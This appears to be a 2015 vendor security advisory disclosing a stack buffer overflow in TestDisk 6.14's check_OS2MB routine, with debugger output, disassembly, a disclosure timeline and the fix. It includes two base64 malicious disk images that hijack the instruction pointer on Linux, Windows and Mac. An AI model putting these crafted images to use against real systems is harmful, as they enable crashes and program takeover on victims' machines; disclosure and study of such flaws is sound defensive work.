TestDisk 6.14 – ‘Check_OS2MB’ Stack Buffer Overflow (PoC)
( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. TestDisk 6.14 Check_OS2MB Stack Buffer Overflow Affected versions: TestDisk 6.14 - Linux, Windows and Mac OSX PDF: http://www.security-assessment.com/files/documents/advisory/Testdisk%20Check_OS2MB%20Stack%20Buffer%20Overflow%20-%20Release.pdf +-----------+ |Description| +-----------+ This document details a stack based buffer overflow vulnerability within TestDisk 6.14. A buffer overflow is triggered within the software when a malicious disk image is attempted to be recovered. This may be leveraged by an attacker to crash TestDisk and gain control of program execution. An attacker would have to coerce the victim to run TestDisk against their malicious image. +------------+ |Exploitation| +------------+ The check_OS2MB method (fat.c, line 862) is vulnerable to a stack based buffer overflow. This is due to the 512 byte buffer 'buffer' (defined in fat.c, check_OS2MB method, line 864) being overflowed by a subsequent memcpy call in the cache_pread_aux method (hdcache.c, line 109). The third argument to the memcpy call (defining the amount of data to be copied) is controlled by the attacker, this is set in a header in the test case (offset 0xC in the below testcase, set to 2048, or 0x0800). The following GDB output shows the vulnerable memcpy call and the attacker controlled size argument (0x00000800): Breakpoint 1, 0x0804e5c2 in cache_pread_aux (disk_car=0x80c13b0, buffer=0xbffff0f0, count=2048, offset=0, read_ahead=0) at hdcache.c:109 109 memcpy(buffer, cache->buffer + offset - cache->cache_offset, count); (gdb) x/i $eip => 0x804e5c2 <cache_pread_aux+298>: call 0x80499f0 <memcpy@plt> (gdb) x/3x $esp 0xbffff010: 0xbffff0f0 0x080c3000 0x00000800 The following base64 data contains the test case which results in EIP control, in this case EIP being set to BEE5BEE5. The value EIP is overwritten with is at 0x20c 6zyQbWtkb3dmcwAACASOAAEAAIAQ+AEAAQABAAAAAOs8kG1rZAApj2Ji7SAgICAgICAgICAgRkFU ICAgICAgIEZBVDEyICAgDh++W3ysIsB0C/Ay5M0ezRnr/lRoaXMgaXMgbm90IGEgYm9vdGFibGUg ZGlzay4gIFBsZWFzZSBpbnNlcnQgYSBib290YWJsZSBmbG9wcHkgYW5kDQpwcmVzcyBhbnkga2V5 IHRvIHRyeSBhZ2FpbiAuLi5ADQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA7v//f/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tYAAAAAAAD+4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAD/D//pAAAA5gBAAAAAAAAAAB4AAAAAAAAAAAAAAPQAAAAAAOT98v//AAAAAAAA AAAAEAD/AAAAAAAAAAAAAAAAAAAAgAAAAAUE/wAAAAAAAAAA7fcAAACAAAAAAAAAAAAABQAAAAAA AAAAIwAAAACAAP/zAAAAAAQAAAAAAAAAAAAAAP8AAPj/ABcAAAAAAJaFhYWA/wAAAAAAAAAAVaoA AAAAAAAAKY9iYu3lvuW+NAsGCA0K --[ Linux Note that in the provided test case, 4 bytes at 0x210 have been set to a valid address within the TEXT segment of the TestDisk ELF file. This is due to GCC 4.7.2 compiling the Check_OS2MB method with the following assembly code: 0x08060a8d <+71>: call *%ecx 0x08060a8f <+73>: mov %eax,%edx 0x08060a91 <+75>: mov 0x8(%ebp),%eax 0x08060a94 <+78>: mov 0x194(%eax),%eax 0x08060a9a <+84>: cmp %eax,%edx 0x08060a9c <+86>: je 0x8060ac5 <check_OS2MB+127> The instruction 'mov 0x8(%ebp), %eax' (0x08060a91) moves an attacker controlled portion of memory into the EAX register and subsequently tries to read from that address ('mov 0x194(%eax)'). Thus, this has to be set to a legitimate address, otherwise TestDisk performs an out-of-bounds memory read before returning from the check_OS2MB method. As long as EDX and EAX do not match, the check_OS2MB method calls screen_buffer_add and log_redirect, then jumps to the end of the check_OS2MB method, successfully exploiting stack overflow and gaining EIP control. The precompiled version of TestDisk has been compiled with a stack protector. In order to exploit the precompiled version, an attacker would have to find a way to bypass GCC’s '-fstack-protector' functionality --[ Windows The provided test case results in EIP being overwritten with 0xBEE5BEE5 in the precompiled version of TestDisk. This was tested on Windows 7 and 8.1. --[ Mac OSX An attacker can also gain EIP control on the Mac OSX version of TestDisk 6.14, however the original test case needs to be padded. The value EIP is overwritten with is at 0x21C in the OSX test case. The base64 of the OSX crash test case is below. As in the above examples, EIP is overwritten with 0xBEE5BEE5. 6zyQbWtkb3dmcwAACASOAAEAAIAQ+AEAAQABAAAAAOs8kG1rZAApj2Ji7SAgICAgICAgICAgRkFU ICAgICAgIEZBVDEyICAgDh++W3ysIsB0C/Ay5M0ezRnr/lRoaXMgaXMgbm90IGEgYm9vdGFibGUg ZGlzay4gIFBsZWFzZSBpbnNlcnQgYSBib290YWJsZSBmbG9wcHkgYW5kDQpwcmVzcyBhbnkga2V5 IHRvIHRyeSBhZ2FpbiAuLi5ADQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA7v//f/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tYAAAAAAAD+4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAD/D//pAAAA5gBAAAAAAAAAAB4AAAAAAAAAAAAAAPQAAAAAAOT98v//AAAAAAAA AAAAEAD/AAAAAAAAAAAAAAAAAAAAgAAAAAUE/wAAAAAAAAAA7fcAAACAAAAAAAAAAAAABQAAAAAA AAAAIwAAAACAAP/zAAAAAAQAAAAAAAAAAAAAAP8AAPj/ABcAAAAAAJaFhYWA/wAAAAAAAAAAVaoA AAAAAAAAKY9iYu0AAAAAAAAAAAAAAAAAAAAA5b7lvg== +----------+ | Solution | +----------+ Upgrade to TestDisk 7.0 or newer. +-------------------+ |Disclosure Timeline| +-------------------+ 9/04/2015 – Advisory sent to Christophe Grenier. 9/04/2015 – Response from Christophe Grenier advising that a fix is ready for the development version. Christophe advised a new stable version will be available in 2 weeks. 18/04/2015 – TestDisk 7.0 Released. 30/04/2015 – Release of this document. +-----------------------------+ |About Security-Assessment.com| +-----------------------------+ Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment com Phone +64 4 470 1650 |